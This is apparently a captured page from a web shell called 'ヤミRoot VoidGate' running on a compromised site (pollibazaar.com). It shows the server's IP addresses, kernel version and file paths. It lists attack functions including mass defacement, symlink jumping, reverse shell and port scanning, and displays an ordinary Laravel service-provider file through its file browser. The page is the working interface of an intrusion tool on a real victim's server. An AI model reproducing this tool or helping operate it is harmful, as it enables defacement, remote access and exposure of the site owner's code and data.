ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Providers
/
Viewing: InterfaceServiceProvider.php
<?php namespace App\Providers; use App\Contracts\ControllerInterface; use App\Http\Controllers\BaseController; use Illuminate\Support\Facades\File; use Illuminate\Support\ServiceProvider; class InterfaceServiceProvider extends ServiceProvider { /** * Register services. */ public function register(): void { $this->bindInterfaceWithRepository(); } private function bindInterfaceWithRepository():void { $this->app->bind(ControllerInterface::class, BaseController::class); $repositoriesPath = app_path('Repositories'); $contractsPath = app_path('Contracts/Repositories'); $repositoryFiles = File::files($repositoriesPath); foreach ($repositoryFiles as $file) { $filename = pathinfo($file, PATHINFO_FILENAME); $interfaceName = $filename . 'Interface'; $interfacePath = $contractsPath . DIRECTORY_SEPARATOR . $interfaceName . '.php'; if (File::exists($interfacePath)) { $interface = 'App\Contracts\Repositories\\' . $interfaceName; $repository = 'App\Repositories\\' . $filename; $this->app->bind($interface, $repository); } } } /** * Bootstrap services. */ public function boot(): void { // } }
Coded With 💗 by
0x6ick